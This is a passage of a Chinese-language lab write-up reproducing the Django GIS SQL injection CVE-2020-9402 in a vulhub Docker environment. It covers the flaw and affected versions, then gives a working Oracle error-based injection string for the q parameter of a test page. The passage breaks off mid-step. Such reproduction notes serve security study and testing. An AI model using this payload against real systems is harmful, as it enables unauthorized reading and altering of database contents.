企业安全03Django GIS SQL注入漏洞CVE-2020-9402

Django GIS SQL注入漏洞CVE-2020-9402

一、漏洞描述

---

Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。

二、影响版本

---

Django 3.0.3：

三、环境搭建

---

vulhub靶场，进入/vulhub/django/CVE-2020-9402漏洞环境目录下，执行

docker-compose up -d



环境启动后，访问http://your-ip:8000即可看到Django默认首页。

四、漏洞复现

• 1:首先访问http://your-ip:8000/vuln/
  
  首先访问http://your-ip:8000/vuln/。
  
  在该网页中使用get方法构造q的参数，构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

可见，括号已注入成功，SQL语句查询报错：